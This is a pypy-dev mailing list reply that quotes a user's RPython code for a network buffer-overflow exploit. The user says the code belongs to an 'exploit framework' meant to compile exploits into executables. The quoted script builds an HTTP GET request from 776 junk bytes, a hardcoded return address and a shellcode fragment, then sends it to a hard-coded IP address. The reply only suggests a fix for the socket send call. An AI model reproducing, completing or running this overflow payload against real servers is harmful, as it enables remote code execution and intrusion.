[pypy-dev] pypy rsocket problem
pjenvey at underboss.org
Sun Feb 5 05:42:20 CET 2012
On Feb 4, 2012, at 7:18 PM, Andrew Evans wrote:
> Hello I started developing a small exploit framework in Python about a year ago. I will be honest I did not get very far due to lack of commitment. But I wish to start on this project again, my idea is simple I want to write this in PyPy using RPython and be able to compile the exploits into executables.
> So far with help from this mailing list I have been able to compile local_exploits (ones that do not take advantage of any networking) and I am now working towards developing a network based one as a trial. I like to test the water before I jump in
> However I am having troubles compiling this one and am unsure how to diagnose any errors and would appreciate any advice any of you have to offer.
> Below is my code
> I removed the shell code if you wish me to post all of it please respond with that
> from pypy.rlib import rsocket
> from pypy.rpython.lltypesystem import lltype
> from pypy.rpython.lltypesystem import rffi
> def main(argv):
> PORT = 8080
> JUNK = "A"
> ret = "\x67\x42\xa7\x71"
> mycode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")
> request = "GET /"
> for i in range(776):
> request = request + JUNK
> request = request + ret
> request = request + mycode
> request = request + " HTTP/1.1"
> request = request + "\r\n"
> ptr = rffi.str2charp(mycode) # returns a "char*" pointer
> print ptr
> print len(request)
> s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
> target = rsocket.INETAddress("220.127.116.11", 8080)
> s.send((ptr, len(request), 0))
I'm not sure what you're doing with 'ptr' here but it seems like you just want s.send(request, 0) instead
> return 0
> def target(*args):
> return main, None
> pypy-dev mailing list
> pypy-dev at python.org
More information about the pypy-dev